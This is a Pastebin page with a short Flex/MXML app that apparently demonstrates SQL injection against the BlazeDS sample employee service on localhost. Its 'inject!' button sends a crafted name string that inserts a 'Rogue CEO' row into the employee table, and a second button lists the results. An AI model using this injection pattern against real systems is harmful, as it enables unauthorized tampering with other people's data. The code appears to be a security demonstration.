Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

James Ward

By: a guest on Nov 23rd, 2009  |  syntax: XML  |  size: 0.74 KB  |  views: 290  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <mx:WindowedApplication xmlns:mx="http://www.adobe.com/2006/mxml">
  3.        
  4.         <mx:RemoteObject id="ro" destination="runtime-employee-ro">
  5.                 <mx:channelSet>
  6.                         <mx:ChannelSet>
  7.                                 <mx:AMFChannel uri="http://localhost:8400/samples/messagebroker/amf"/>
  8.                         </mx:ChannelSet>
  9.                 </mx:channelSet>
  10.         </mx:RemoteObject>
  11.        
  12.         <mx:Button label="inject!">
  13.                 <mx:click>
  14.                         ro.findEmployeesByName("';INSERT INTO employee (first_name, last_name, title) VALUES ('Marcin', 'Wielgoszewski', 'Rogue CEO');");
  15.                 </mx:click>
  16.         </mx:Button>
  17.        
  18.         <mx:Button label="getEmployees">
  19.                 <mx:click>
  20.                         ro.getEmployees();
  21.                 </mx:click>
  22.         </mx:Button>
  23.        
  24.         <mx:DataGrid dataProvider="{ro.getEmployees.lastResult}"/>
  25.        
  26. </mx:WindowedApplication>